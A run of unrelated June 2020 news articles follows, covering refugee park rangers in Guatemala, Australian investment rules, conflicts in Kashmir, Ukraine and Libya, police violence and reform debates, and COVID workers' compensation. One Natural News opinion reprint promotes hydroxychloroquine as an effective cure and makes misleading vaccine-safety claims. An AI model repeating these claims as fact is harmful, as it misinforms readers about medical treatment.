As rangers, they are responsible for maintaining the trails used by visitors and monitoring the native flora and fauna, which includes threatened animals such as Bairds tapirs and the scarlet macaw, as well as pumas and jaguars.

The rangers spend 15-day-long stints inside the parks, sleeping in rudimentary camps, before returning home for 15 days off.

A suspension bridge spans a gully inside Guatemala's El Mirador National Park, where asylum seekers work as rangers.  UNHCR/Alexis Masciarelli

On his first sortie into the Dos Lagunas National Park, another one of the other new rangers, Alejandro, came across paw prints and a patch of matted grass littered with pheasant feathers, where he believes a big cat had recently bedded down and eaten breakfast. The near-sighting thrilled Alejandro,* a 21-year-old who worked in construction back home in Honduras before he, too, was targeted for having refused to join one of the armed gangs that terrorize local residents.

Gang threats, chronic violence and persecution in northern Central America have forced some 720,000 people in the region to flee their homes, seeking safety in distant parts of their country or abroad, as of the end of last year. By December 2019, some 121,300 Hondurans had applied for asylum or refugee status abroad, according to statistics from UNHCR, the UN Refugee Agency.

Young people are particularly vulnerable. Daring to resist recruitment into a gang  as both Josue and Alejandro did  can prove a death sentence. After he turned the gang down, Josue was chased down and shot. He was hit but survived his injuries.

Leaving Honduras was a very difficult journey for me, but it was a question of life and death, he recalled.

For his fellow ranger Alejandro, it finally sank in that he had no choice but to flee when a gang member told him, Either you join or were coming for you and your family. His family fled first, to Guatemala, and Alejandro followed soon after.

Were making it so that future generations can see all the plants and animals we have here.

Finding a job tends to be a major obstacle for those forced to leave both their countries and support networks behind. But the current coronavirus pandemic, with its lockdowns aimed at preventing the virus spread, has made securing steady employment even more difficult for asylum-seekers like Josue and Alejandro.

For them and the other asylum-seekers and refugees hired as park rangers, the jobs represent a lifeline  a rare opportunity to support their families and contribute to their host communities in the midst of the pandemic. They were hired through Empleos Verdes, or Green Jobs, a programme run by the environmental organization FUNDAECO and the childrens advocacy group El Refugio de la Ninez. The programme receives support from UNHCR.

Its a great opportunity, said Abel Santos, El Refugio de la Ninez coordinator in the Peten region. The park rangers protect something that belongs to all of humanity.

Alejandro concurred.

Ours is a really important job, he said. Were saving the lives of animals and protecting resources that belong to everyone.

See also: Death threats drive refugees to flee coronavirus lockdown

Guatemala is one of the most biodiverse countries in the world, according to the Rainforest Alliance, an organization dedicated to preserving the worlds remaining tropical forests. But, sadly, the group says what it calls Guatemalas astounding diversity of plant and animal life is under threat by deforestation, illegal logging and the illicit wildlife trade, as well as climate change.

In light of the perils facing the national park where he works, Alejandro says he feels the new job is that much more important.

Were making it so that future generations can see all the plants and animals we have here, he said.

* Names have been changed due to the threats facing both asylum-seekers.
Roxy Jacenko turned heads as she headed to a beauty salon on Thursday after coronavirus restrictions finally eased in Sydney.

The semi-retired PR maven, 39, was greeted by a man who smiled and chatted to her as she arrived at Amy Jean Brow Agency in the upscale suburb of Double Bay.

The blonde beauty showed off her slender figure in a slim-fitting The North Face long sleeve top with black mesh cut-out activewear leggings.

Pampring session: Roxy Jacenko, 39, raced to the beauty salon to have her eyebrows groomed in Double Bay on Thursday

Turning heads: The semi-retired PR maven, 39, was greeted by a man who smiled and chatted to her as she arrived at Amy Jean Brow Agency in the upscale suburb of Double Bay

The mother-of-two added to the classic ensemble with a pop of red from her sneakers and a Christian Dior handbag.

She styled the comfortable look with Ray-Ban aviators, a rose gold designer watch and various diamonds.

Roxy flaunted her line-free visage by going makeup free and tied her blonde locks back into a ponytail.

Sporty: The blonde beauty showed off her slender figure in a slim-fitting The North Face long sleeve top with black mesh cut-out activewear leggings

The grooming session comes after Roxy had her lip fillers done on Monday.

'First of June couldn't have come any quicker,' the publicist wrote on Instagram Stories as she sat in the clinic's waiting room.

Speaking to Daily Mail Australia about her appointment, Roxy enthused: 'I was knocking down the door of Medispa by Matty on Monday! Had a little bit of filler in my lips.'

The mother-of-two also spoke The Kyle And Jackie O Show on Thursday about her visit to the clinic, joking that she looked almost unrecognisable during lockdown as all her treatments had worn off.

Natural beauty: Roxy flaunted her line-free visage by going makeup free and tied her blonde locks back into a ponytail

'Thank god we were in isolation, no one would have recognised me!' she laughed.

Roxy also showed off her newly plump pout on Thursday, amplifying the full lip with a simple lip gloss.

Beauty clinics in NSW officially re-opened on Monday, after being shut for two months due to coronavirus lockdown rules.
While not mentioning China, rule change firms up amendments following controversial 2016 port sale to Chinese company.

Australia announced the biggest shakeup of its foreign investment rules in almost 50 years on Friday, including additional powers to force the divestment of a business if it creates a national security risk.

Citing the need to balance economic and national security, Treasurer Josh Frydenberg said all foreign investors will face greater scrutiny when bidding for sensitive assets, regardless of the size of the deal and whether the buyer is private or state-owned.

Technology has been evolving and our geopolitical climate has become more complex, Frydenberg said in Canberra. In fact, the world over, governments are seeing foreign investment being used for strategic objectives, not purely commercial ones.

In one major change, the treasurer will be given a last-resort power to vary or to impose conditions on a deal or force a divestment. A Treasury document said the power would not retrospective.

Frydenberg did not provide full details of which business sectors would be targeted under the changes, which will be made public in the next few weeks, but he did give some indication of areas of interest.

The range of businesses that would likely come under the new regulations include telecommunication companies, energy and utilities firms, the defence supply chain, and businesses that collect, store and own data deemed critical to Australias national security and defence, he said.

The changes, the biggest overhaul of foreign investment policy since the current framework was established in 1975, will effectively make permanent a temporary tightening of foreign investment regulations announced in March to prevent fire sales of distressed assets during the coronavirus crisis.

Under current laws, most private investments under 275 million Australian dollars ($191m) are not screened, while the threshold is 1.2 billion Australian dollars ($840m) for companies from countries such as China which have free trade agreements with Australia. The threshold is zero for state-owned enterprises.

Frydenberg did not single out China, or any other country, when announcing the overhaul but the Chinese government has in the past raised concerns with Australia about changes to foreign investment rules.

Chinese companies have been major investors in Australian resources, agriculture and property.

Public disquiet over the sale of the Port of Darwin in 2016 to Chinese company Landbridge prompted a rule change to require approval from the countrys Foreign Investment Review Board (FIRB) for critical infrastructure deals.

China dropped from second to fifth in the list of countries providing the largest sources of approved foreign investment in Australia for 2018-2019. The United States was first, followed by Canada, Singapore and Japan in 2018-2019. Chinese investment fell by almost 50 percent to 13.1 billion Australian dollars ($8.4bn) in 2019.

The government plans to release a draft of the new rules by July for industry consultation before they are implemented on January 1, 2021.

Economic relations between Australia and China have been strained in recent months.

Australia has angered Beijing by calling for an investigation into the origins of the coronavirus pandemic. President Xi Jinpings government is sensitive to criticism of its handling of the outbreak and has a track record of using trade as a diplomatic cudgel, with South Korea, Japan and Taiwan all experiencing reprisals in recent years.

China barred meat imports from four Australian slaughterhouses for technical reasons and slapped tariffs of more than 80 percent on Australian barley last month after a long-running inquiry.
Jammu, June 5 : One terrorist was killed in Jammu and Kashmir's Rajouri district during an encounter with the security forces.

Police said following specific information about the presence of a group of militants hiding in Melari village, troops of Rashtriya Rifles, special operations group of the local police and central reserve police force surrounded the village and launched a search operation late on Thursday.

"When the security forces closed in on the hiding militants, they fired triggering an encounter in which one militant has been killed. One AK-47 rifle and four hand grenades have been recovered from the slain militant," police said.

Deputy Inspector General (DIG) of Police, Rajouri and Poonch range, Vivek Gupta told reporters that the identity of the slain terrorist is being ascertained.

Firing in the area has stopped, but searches are underway, reports said.
Russia Delivers 'Second Batch' Of Planes To Syria After U.S. Accuses It Of Sending Jets To Libya

By RFE/RL June 04, 2020

Russia has confirmed the delivery of more MiG-29 fighter jets to Syria, just days after the U.S. military accused Moscow of using Syria to transfer warplanes to Libya.

The Russian Embassy in Damascus said on Twitter on June 3 that a "second batch" of advanced MiG-29 fighter jets were handed over to the Syrian military "within the framework of defense cooperation" and were already flying missions.

Syria's SANA news agency reported on May 30 that a handover ceremony for "advanced and modernized MiG-29 fighter jets" was held at Russia's Hmeimim air base in western Latakia Province and the planes would fly missions over Syria starting on June 1.

Russia, which has backed Syrian President Bashar al-Assad with air power, and the Syrian government, have been accused by Western states, UN investigators, and human rights groups of indiscriminate bombing of civilians and possible war crimes during the country's nine-year civil war.

The delivery comes after the U.S. military in late May accused Moscow of deploying military aircraft to Libya to provide support for Russian mercenaries helping a local warlord battle the North African country's internationally recognized government.

U.S. Africa Command said 14 MiG-29 fighter jets and Su-24 fighter bombers were flown to Libya via Syria, where they were repainted at Hmeimim air base to disguise their identity.

Vagner Group, a private military contractor believed to be close to the Kremlin, has been helping Libyan commander Khalifa Haftar's self-styled Libyan National Army (LNA) in the east of the country in their fight against the Government of National Accord (GNA) based in the capital, Tripoli.

A UN report earlier this month estimated the number of Russian mercenaries at between 800 and 1,200.

Moscow has denied the Russian state is responsible for any deployments of the Vagner group and denied sending aircraft to Libya.

The LNA has denied links to the aircraft, although it says it has refurbished some old Libyan planes and is preparing a new air campaign.

But on June 3, an LNA military source told Reuters that warplanes had struck near Gharyan, south of Tripoli, in the first acknowledged use of warplanes by eastern forces since Washington said Russia had supplied the new MiG-29 and Su-24 jets.

Libya has been torn by civil war since a NATO-backed popular uprising ousted and killed the North African country's longtime dictator, Colonel Muammar Qaddafi, in 2011.

The conflict has drawn in multiple regional actors, with Russia, France, Egypt, Jordan, and the United Arab Emirates backing Haftar's command.

Turkey, which deployed troops, drones, and Syrian rebel mercenaries to Libya in January, supports the government in Tripoli, alongside Qatar and Italy.

With reporting by Reuters

Source: https://www.rferl.org/a/russia- jets-libya-syria/30651821.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Joint Forces returned fire to each enemy shelling.

Russia's hybrid military forces on June 4 mounted 14 attacks on Ukrainian positions in Donbas, eastern Ukraine.

"The Russian Federation's armed formations violated the ceasefire 14 times in the past day," the press center of Ukraine's Joint Forces Operation said in a Facebook update as of 07:00 Kyiv time on June 5, 2020.

Read alsoDaredevil activists go for pro-Ukrainian stunt in occupied Donbas (Photo)

Russia-led forces opened fire from proscribed 120mm mortars, anti-tank missile systems, grenade launchers of various types, heavy machine guns, and small arms.

Under attack came Ukrainian positions near the towns of Krasnohorivka and Avdiyivka, and the villages of Bohdanivka, Chermalyk, Pavlopil, Kamianka, Novoluhanske, Orikhove, and Novhorodske.

Joint Forces returned fire to each enemy shelling.

"Since Friday midnight, Russia-led forces have attacked Ukrainian positions near the village of Novo-Oleksandrivka, using rifles," the update said.

No casualties were reported among Ukrainian troops over the period under review.
Our office has a moral imperative to enact public policies which assure all New Yorkers that in our justice system and our society, black lives matter and police violence is a crime, Mr. Vance said in a statement. Mr. Gonzalezs said, We stand for the right of people to protest. Both said they would continue to prosecute people accused of violence against officers and of looting.

As images of police officers using force to arrest seemingly peaceful demonstrators have circulated online, Mr. de Blasio, who ran on a platform to reform the police, has come under sharp criticism from some elected officials, community leaders and even his former aides. He was jeered and booed at a memorial for Mr. Floyd on Thursday.

By Friday, after more than a week of protests, the mayor had softened his tone, pledging to review reports of police officers behaving inappropriately and promising he would announce disciplinary measures against some officers shortly.

Later, in an interview on WNYC, the public radio station, the mayor said that the encircling of protesters was sometimes necessary for public safety, and that the police were charging into crowds only when their commanders had evidence of imminent violence.

I dont want to see protesters hemmed in if they dont need to be, he said, but he added that sometimes theres a legitimate problem and its not visible to protesters.

On Thursday, the police commissioner said he was reviewing at least seven videos that showed potential police misconduct and promised he would hold the officers accountable if the allegations were proven. On Friday night, he announced the suspension of two officers: one who violently pushed a woman to the ground, and another who pulled down a protesters face mask and then pepper sprayed him.

But Mr. Shea also stressed that some protesters had come to the demonstrations with the intent to attack the police. He also said the anti-police rhetoric of the demonstrators  and some elected officials  was encouraging attacks on officers, several of whom had been injured with sticks, or thrown bottles and bricks.
LAPD Chief Michel Moore addresses protesters Saturday at 3rd Street and Fairfax Avenue, in front of the Farmers Market. (Los Angeles Times)

To the editor: As I read of the proposed budget cut for the Los Angeles Police Department, I wondered if it wasn't part of an immediate emotional reaction to recent events that in the end could cause more problems.

Wisdom advises that no major decisions should be made in the heat of the moment, as true change requires a deep and careful examination of the roots of the problem. Before cutting funds to the LAPD, the city could look at the role of the police labor union in making it extremely difficult to dismiss and punish the "bad apples" in the department.

Let's not forget that the purpose of the LAPD is to promote public safety and uphold the rule of law. Punishing the vast majority of officers based on the cruelty and inhumanity of a few can bring disastrous consequences.

It would be a disservice to society if the well-justified protests over George Floyd's death and other police brutality toward African Americans resulted in new problems.

Berta Graciano-Buchman, Beverly Hills

..

To the editor: Imagine how large the LAPD's budget is if it can cut out $100 million without making too much of a dent. That's only about 5% of its $1.86-billion budget.

The city's offer of cuts should meet police abolitionists halfway on defunding the LAPD, still one of the deadliest police departments in the U.S.

For starters, chop the budget in half (that would will be almost $1 billion wasted on policing). Start cutting at the top  Chief Michel Moore must go. Sell the damaged police vehicles for scrap and don't replace them. Shut down the predatory policing programs that criminalize poor black people for who they are.

Deal with social and economic problems such as homelessness with social workers and housing, not cops. Get police out of the schools and off the buses and trains, and put money into a reeducation program that finds them some meaningful and socially useful work to do.

Michael Novick, Los Angeles

Story continues

..

To the editor: It would be nice if we didn't need the police. Unfortunately, some people do not behave in a civil manner and require authority to restrain them and protect society.

The job of police officers is not easy, and it requires excellent judgment. Departments go to great lengths to screen out candidates who might be prone to abusing their power. Good departments continually monitor all officers to prevent them from abusing their authority.

Unfortunately, all organizations are imperfect, and mistakes occur. Although we must continue to hold every police agency to the highest standards of accountability, let us not forget how necessary they are. I would not want to live in a society without them.

Pete Burgert, San Diego

..

To the editor: In looking to cut the budget for the LAPD, how about starting with the system that allowed Moore to collect a $1.27-million retirement payout before becoming chief?

Those "legal" but morally corrupt shenanigans made me lose all respect for him and previous Chief Charlie Beck.

Monica Wyatt, Santa Monica

..

To the editor: The group Ground Game LA has a great perspective when it comes to replacing cops with what essentially would be specialized social workers.

But what if we took that concept a step further, replacing military-style academy training for police by making police work a specialization in the field of social work, and restructuring administrative leadership with professionals whose expertise emphasizes compassion over punishment?

Cathryn Roos, La Habra
New Delhi, June 5 : The Centre has informed the Supreme Court that Maulana Saad and the Markaz management did not inform the health department or the government about the huge Tableeghi Jamaat religion congregation held in Delhi's Nizamuddin area in mid March.

The gathering led to a sharp spike in coronavirus cases and nearly 40,000 people linked to the Markaz were kept under quarantine. The Centre also insisted that there is no need for a CBI probe, as the investigation by the Delhi Police was on track.

The Ministry of Home Affairs, in an affidavit, said, "They deliberately, willfully, negligently and malignantly disobeyed the lawful directions promulgated in this regard. Written notices were also issued to Maulana Saad and the Markaz management. However, they refused to pay heed." The MHA highlighted that there was no delay from the authorities concerned in dealing with the issue.

The Delhi Police contacted the authorities of Markaz at Tablighi Jamaat headquarters on March 21 and asked them to take immediate action for preventing the spread of coronavirus, yet nobody paid heed to the lawful directions.

The MHA said the investigation is being conducted on a day-to-day basis in accordance with the mandate of law by the Delhi Police, and a report will be submitted before the court in a time-bound manner.

The MHA said, "A missionary visa is granted to a foreigner whose sole objective of visiting India is missionary work not involving proselytization. It is submitted as per the visa policy, visa is not to be granted to preachers and evangelists who desire to come to India on propaganda campaigns, whether on their own or at the invitation of any organisation in India." A PIL was filed in the top court seeking a CBI probe into the Tablighi event. The hearing on the matter -- Nizamuddin Markaz and Anand Vihar fiasco -- has been adjourned for two weeks as the petitioner sought time to file a rejoinder.

The petitioner sought probe into the "lackadaisical" approach of the Delhi government in handling the Tablighi Jamaat event in March.

The MHA has proposed to file a comprehensive report.

"During inspection, around 1,300 persons from various states as well as foreign countries were found residing in the premises without maintaining any physical distance with each other. No one was following the directions such as use of facial mask, hand sanitisers etc.," said the Centre.
WASHINGTON, June 5, 2020 /PRNewswire/ -- On June 4, 2020, Judge Gary S. Katzmann of the U.S. Court of International Trade overturned a determination by the U.S. International Trade Commission (ITC) that imports of polyethylene terephthalate (PET) resin from five countries did not injure the U.S. producers of that product. As a result of that decision, the ITC will be required to reconsider whether the unfairly traded imports had indeed harmed domestic companies and their workers, as the companies alleged.

In a 42-page opinion, Judge Katzmann meticulously examined the record of the ITC's 2018 final investigation on PET resin from Brazil, Indonesia, Korea, Pakistan, and Taiwan. In the opinion, the court reached the well-reasoned and legally-sound conclusion that certain aspects of the ITC's negative determination were not supported by substantial record evidence. Paul Rosenthal, lead counsel for the domestic PET resin industry, commented, "The domestic producers and their workers are gratified by the Court's decision and are hopeful that when the ITC reconsiders the case, it will finally approve the much needed relief from unfair imports that the industry so desperately needs."

Since 2018, the domestic industry has been without relief from the effects of the significant dumping by PET resin producers in each country previously found by the Commerce Department. That dumping hurt the sales and profits of the domestic industry and continues to injure U.S. producers that have been denied the remedy they deserve and need.

The ITC will next re-review the record of the original investigation to address the errors identified by the court. The ITC's remand redetermination is due to the court within 90 days, or by September 2, 2020. After a 60-day period for comments from all parties in the appeal, Judge Katzmann will take the remand decision under advisement. The domestic industry is hopeful for a positive resolution to this case with an affirmative injury determination and an AD order in place before the end of the year.

Background

Plaintiffs are DAK Americas LLC, Indorama Ventures USA, Inc., Nan Ya Plastics Corporation, America, U.S. producers of polyester terephthalate (PET) resin and petitioners in the unfair trade case filed with the U.S. International Trade Commission (ITC) and the U.S. Department of Commerce (Commerce) on September 26, 2017. On October 24, 2017, a fourth domestic producer and petitioner, M&G Polymers USA filed for bankruptcy and later put its U.S. assets up for sale. On September 17, 2018, Commerce found significant levels of dumping by producers and exporters in all five countries: 29.68-275.89% for Brazil, 30.61-53.50% for Indonesia, 8.23-101.41% for Korea, 43.81-59.92% for Pakistan, and 5.16-45.00% for Taiwan.

The product that is the subject of these investigations is certain PET resin, which is a large-volume, thermoplastic polyester polymer resin, having an intrinsic viscosity (IV) of 0.70 or more, but not more than 0.88, deciliters per gram. PET resin is primarily sold in bulk form as chips or pellets, which are heated and extruded or molded into plastic bottles, containers, and packaging. The major end-uses for PET resin include beverage bottles, food containers, and packaging for household, cosmetics, automotive, and pharmaceutical products.

The domestic industry is represented by Paul Rosenthal, Kathleen Cannon, and Brooke Ringel, Kelley Drye & Warren LLP.

SOURCE Kelley Drye & Warren LLP

Related Links

http://kelleydrye.com


India insisted on 'complete disengagement' in all its talks with China on eastern Ladakh row: Govt

Lt. Gen talks with China, a positive step forward, but expect no immediate resolution

India

oi-Vicky Nanjappa

New Delhi, June 05: An immediate breakthrough may not be possible following the crucial Indo-China Lt. General talks to be held tomorrow.

Sources tell OneIndia that the talks to be held tomorrow is a positive development. It will set the ground work, but to say that the issue will be totally resolved post June 6 is not correct. We are being realistic about it and we are positive about the outcome of the talks tomorrow, the source also added.

India to make opening statement during crucial talks with China on June 6

Lt. General Harinder Singh would lead the Indian delegation for the talks to be held on June 6. Lt. General Singh would make the opening statement at the talks that would be held at the Chinese Border Personnel Meeting hut in Chushul Moldo.

Centre tightens purse, no new spending or schemes for a year amid coronavirus | Oneindia News

The primary objective would be to restore status quo ante in the disputed areas, both at Pangong Tso and in the Hot Spring sector. A source familiar with the developments tells OneIndia that both sides should go back to their deployment prior to the arising of this situation.

The talks would be progressive in nature and the idea would be to build mutual trust and also reduce tensions between the two sides. A proposal for the withdrawal of artillery guns and talks from the rear areas by both sides would also be put forth.

Lt. General Singh will be accompanied by the chief of the 3rd Infantry Division, a brigade commander, the commanding officers of a local battalion and a translator. Although it remains unclear as of now, the source cited above said that the talks could also figure the north bank of Pangong Tso and the area to its north till the Galwan Valley, where tensions have been high.

India to bring specific proposals to military talks with China on June 6: Report

China on Wednesday emphasised that there was no need for the intervention of a "third party" to resolve its current standoff with India as the two neighbours have full-fledged border-related mechanisms and communication channels to sort out their differences through dialogue.

Foreign Ministry spokesman Zhao Lijian told a media briefing here that China's position on the border issue with India was "consistent and clear" and both the countries have "earnestly" implemented the important consensus reached between their leaders.

Zhao was replying to a question about the phone call between Prime Minister Narendra Modi and US President Donald Trump during which the two leaders also discussed the border standoff between India and China.

"Now the situation there (at India-China border) is overall stable and controllable. China and India have full-fledged border-related mechanisms and communication channel. We have the capability to resolve the issue through dialogue and negotiation," Zhao said.
Indigenous Services Minister Marc Miller strongly condemned recent acts of violence by police against Indigenous people, including the fatal shooting of a New Brunswick woman during a wellness check on Thursday.

Miller said he thought the initial report of 26-year-old Chantel Moore's death at the hands of Edmundston, N.B., police was some kind of "morbid joke."

"I'm pissed, I'm outraged. There needs to be a full accounting of what has gone on," Miller said at a news conference on today.

"This is a pattern that keeps repeating itself."

Prime Minister Justin Trudeau said the videos and reports that have surfaced over the last few days are "disturbing."

"They bring to light the systemic realities facing far too many Canadians," he said.

A spokesperson said police went to Moore's apartment at 2:30 a.m. after her boyfriend asked for a wellness check. Edmundston Police Insp. Steven Robinson told reporters Thursday that Moore was wielding a knife and was intent on "attacking" the responding officer.

"He had no choice but to defend himself," Robinson said.

Robinson said the officer is "off work" and the force will wait until an outside investigation is complete before making a decision about suspension. Robinson declined to name the officer.

The Edmundston police say they have asked an "independent agency" to investigate whether the officer's actions complied with policing standards.

WATCH | Marc Miller says he's 'pissed' and 'outraged' at police violence

"Obviously something went wrong and someone died," Miller said in reference to Moore's death. "And that's unacceptable ... I want answers."

Miller said he also "watched in disgust" a video that appears to show an RCMP officer using the door of a police pickup truck to run down an intoxicated man late Monday night in the Nunavut hamlet of Kinngait.

Story continues

The RCMP officer was responding to a call that the man was "fighting with others." The officer opened the door of the moving vehicle as he approached the man, who was knocked down. The RCMP has removed the officer from the community and has placed him on administrative leave.

"A car door is not a proper police tactic. It's a disgraceful, dehumanizing and violent act," the minister said.

"Police serve Canadians and the Indigenous peoples of Canada  not the opposite. It's something that we need to reckon with as a society as we look towards the south and the disgraceful acts that are occurring down there."

WATCH | Door of RCMP vehicle knocks down man being taken into custody:

U.S. law enforcement is now grappling with the fallout from the death of George Floyd, a black man, while in the custody of four Minneapolis police officers.

People have staged protests in Canada and the U.S. to demand greater accountability from police, with calls to "defund" law enforcement.

Trudeau said he'd be speaking to his cabinet and RCMP Commissioner Brenda Lucki later today to "ensure each one of these individual cases is investigated properly."

"Far too many Canadians feel fear and anxiety at the sight of law enforcement officers because we continue to have systemic discrimination ... racialized Canadians are vulnerable in these situations," he said.

Trudeau said his government can't solve the problem "overnight" but "we need to make a change."
(Natural News) The Covid-19 pandemic has brought out many disturbing features of our society. Misinformation, or perhaps more accurately, disinformation, abounds in the service of agendas ranging from those who interpret the virus as a useful ploy for the construction of a police state, to Big Pharma and its allies who are moving us toward mass vaccinations, to the narcissistic views of those who would sacrifice the elderly and ill rather than to be inconvenienced by being denied access to bars and beaches. Every aspect of the pandemic, including Trumps own use of HCQ, is being used against the President of the United States. https://www.realclearpolitics.com/video/2020/05/20/mcenany_media_mocks_trump_for_taking_hydroxychloroquine_doesnt_criticize_chris_cuomo_for_taking_less_safe_version.html?utm_medium=referral&utm_source=mixi&utm_campaign=realclearpolitics

(Article by Paul Craig Roberts republished from PaulCraigRoberts.org)

Despite proof of reinfections, some bleat on and on about how the lockdown prevented herd immunity and made us less safe. Others make the false claim that Sweden with no lockdown fared no worse than others. In fact Swedens economy was de facto locked down by the nonparticipation of Swedes who on their own used the same measures as in other countries, and Sweden still has a higher mortality rate, for which the government has apologized to the elderly. Still others dispute that the lockdown reduced the infection rate, while others claim any reduction in Covid deaths was offset by higher suicides caused by lockdown depression.

To put these claims in perspective: two months ago the US had 100 known Covid cases; today the US has 1.5 million. The difference is not accounted for by an increase in testing. Ths US has 100,000 deaths blamed on the virustwice the deaths of US soldiers in the long Vietnam war. Some claim that the deaths were caused by preconditions, not by the virusbut the people didnt die until they got the virus. Others point out that economic incentives cause an over-reporting of Covid deaths. There is little doubt about that, but over-reporting does not account for 100,000 deaths. It remains to be seen whether the reopening will result in a jump in infections and deaths.

At a time when accurate information is essential, the waters are instead muddied by disinformation in the service of political, ideological, and profit agendas. The irresponsibility of those putting their self-interests first is extraordinary. It indicates that the social bond between people that made America a country has been dissolved by greed, multiculturalism, and Identity Politics. America has become a country without a common interest. It is a narcissistic state.

This article is limited to the campaign against HCQ. HCQhydroxychloroquinehas been in use for 65 years for the prevention or treatment of malaria, lupus, and rheumatoid arthritis. It is officially labeled a safe drug. Many doctors treating Covid patients have found and reported HCQ, when used early enough together with zinc and the antibiotic azithromycin to be an effective and safe treatment.

I have reported and made available many of the reports of HCQs efficacy and safety. See for example:

https://www.paulcraigroberts.org/2020/04/11/professor-didier-raoult-releases-the-results-of-a-new-hydroxychloroquine-treatment-study-on-1061-patients/

https://www.paulcraigroberts.org/2020/04/11/the-cure-that-works-is-opposed-by-fauci-and-cnn-and-big-pharma/

https://www.thegatewaypundit.com/2020/05/80-patients-staff-members-come-coronavirus-texas-nursing-home-hydroxychloroquine-treatment-saves-1-patient/

https://www.paulcraigroberts.org/2020/04/10/dogmatic-medical-orthodoxy-attempts-to-discredit-effective-covid-19-treatment/

https://www.paulcraigroberts.org/2020/05/06/why-was-an-effective-cure-for-covid-19-withheld/

Despite 65 years of safe use, HCQ is alleged to be dangerous and to cause heart attacks. Its use is officially approved only for adolescent and adult patients hospitalized with COVID-19. Generally, by the time a patient is hospitalized the virus has progressed to a later stage in which treatment is less successful. Studies of HCQs effectiveness, such as the VA one and apparently the more recent one reported in The Lancet, are limited to later stage hospitalized patients and seem to exclude the essential zinc component of the HCQ treatment. In other words, the studies seem to be designed to exclude from official approval the treatment that doctors have found most effective. It is not easy for a layperson to know what the studies actually say as the media report the studies in an anti-Trump manner. For the media, what is most important is criticism of Trump, not the effectiveness of a treatment.

In contrast, the untested investigational antiviral drug, Remdesivir, which has no record of safe use and is extraordinarily expensive compared to HCQ, has been given the same clearence for use. The media is not interested in the effectiveness and safety, or lack of, of this new and untested drug. Trump isnt taking it, and it is a potential profit-maker for Big Pharma. If Remdesivir fails, the failure will be used to dispose of the hope for cures and to focus on vaccination.

It is difficult to avoid the conclusion that HCQ/zinc is being sidelined in order to clear the way for a profitable vaccine and a vaccination mandate. But the vaccines are not panning out. The Moderna vax touted by Bill Gates and Dr. Fauci caused severe illnesses in one-fifth of the test recipients.

The other fast-tracked vaccine developed by the Oxford Vaccine Group proved ineffective. The vaccine produced insufficient antibodies to prevent Covid-19 infection. https://groups.google.com/forum/?utm_medium=email&utm_source=footer#!msg/newsfromunderground/3JuCRrxBHHc/BzGQ-2S2AwAJ

It will be instructive to see what reopening brings. Bay county (Panama City Beach) and Walton county (Seaside, Rosemary Beach) quickly closed spring break and the beaches, restaurants, bars, vacation rental houses and condos, and non-essential businesses. Consequently, the two Florida counties had hardly any Covid cases. People were able to go about without masks as if there were no pandemic.

These two counties are blessed with Americas most beautiful beaches, and host millions of visitors. Panama City Beach has 13,975 permanent residents and 17 million annual visitors. http://www.pcbgov.com/about-us/about-the-community

With the reopening, tourists will be coming in from infected locations. If they bring the virus with them, the counties will find that the Covid-19 virus is real after all. Other locations spared by the lockdowns might find reopening brings the virus.

If so, and there is a second closedown, we will be led by fear and be vaccinated regardless of the vaccines safety and effectiveness against the virus. Did those protesting the closedown think about this?

Read more at: PaulCraigRoberts.org
Two months after Michael McCormick lay in a San Francisco hospital bed fighting to breathe, he fought to prove he got COVID-19 on the job and deserved workers compensation  and won.

The psychologist said he was diagnosed with the disease caused by the coronavirus six days after he stopped going in person to Kaiser Permanentes Daly City clinic, where he worked, unmasked, alongside doctors treating patients. After he recovered, McCormick became one of more than 5,000 Californians who have filed COVID-19 related workers compensation claims since January, according to state data.

Its front lines, so we certainly do have a higher risk of developing any sort of illness, particularly one thats as infectious as COVID-19, McCormick said. I cant figure out how I could have gotten it otherwise.

The coronavirus pandemic ushered in a new era of workers compensation claims in California, with the state creating a unique injury category for COVID-19, and politicians, including Gov. Gavin Newsom, pushing to change standards of proof for compensation. It can be murky legal territory to prove on-the-job injury  especially from a viral disease  but recent political action has made it easier.

Kaiser Permanente said the hospital system gave McCormicks case a thorough and careful review, to ensure he receives equitable treatment.

Workers who win claims in the employer-funded compensation system get two-thirds of lost wages  up to $1,300 a week  for as long as two years, the costs of medical treatment for life and sometimes permanent disability benefits.

The state created a COVID-19 injury category for workers compensation claims in March, retroactive to December. Claims spiked as coronavirus cases rose and shelter-in-place orders kept everyone except essential workers home: 2,251 workers filed in March and 2,677 in April. Numbers dropped in May, with only 85 claims in the first three weeks.

As workers filed more claims, state data show fewer were denied  from a 60% denial rate in January down to 11% in May. But that was still a higher denial rate than total claims, hinting it may be harder to prove viral infection at work than a traditional workplace injury.

Newsom issued an executive order May 6 that gives the benefit of the doubt to essential workers if they got sick within two weeks of work. The order, which lasts for 60 days, is retroactive to March 19. Employers can rebut claims with evidence, but will have to prove workers got infected in a higher-risk environment than their job, which lawyers say may be hard to do.

It changes the burden of proof and it flips it over, said Oakland lawyer Mark Vickness, who represents injured workers. Thats a significant shift.

The California Chamber of Commerce said the change places an undue burden on employers. The Workers Compensation Insurance Rating Bureau of California, which is funded by its membership of employers, estimates the cost at billions of dollars.

Some politicians are going even further than Newsom. A state bill sponsored by multiple Democratic lawmakers would not allow employers to rebut compensation claims by coronavirus-infected firefighters, peace officers and hospital employees who provide direct patient care.

More than 10,500 health care workers were diagnosed with COVID-19 and 64 died in the state, according to the California Department of Public Health. Health workers argue they face higher risks on the job than elsewhere, especially under shelter-in-place orders.

There is greater exposure than the general public, its a no-brainer, said Dr. John Balmes, a San Francisco General Hospital physician and the director of Northern Californias Center for Occupational and Environmental Health. The reason were wearing (personal protective equipment) is that we work with patients that are actually infected and spewing respiratory droplets.

Kaiser and other Bay Area hospitals said they will follow Newsoms order and review individual claims in addition to providing benefits to infected workers.

Given the unprecedented nature of circumstances ... its the right thing to do, said Gail Blanchard-Saiger, the California Hospital Associations vice president of labor and employment. But she did question legislation that would grant hospital workers irrefutable compensation, since she said they work in a controlled environment, unlike police officers who have a higher standard of protection.

Some hospital employees have little doubt that their work settings put them at risk. When the Bay Area sheltered in place in March, McCormick kept coming in to see patients, sometimes in an examining room with a doctor for 30 minutes. He remembers patients coughing. Later, doctors in his clinic told him some of the patients they treated were hospitalized with COVID-19.

McCormick wasnt wearing a mask, since the hospital didnt require everyone to wear one at that point. He was never fitted for an N95, the highest level of protection worn by doctors and nurses. Kaiser said N95s are generally reserved for high-risk procedures performed in a hospital room, not for a routine mental health visit.

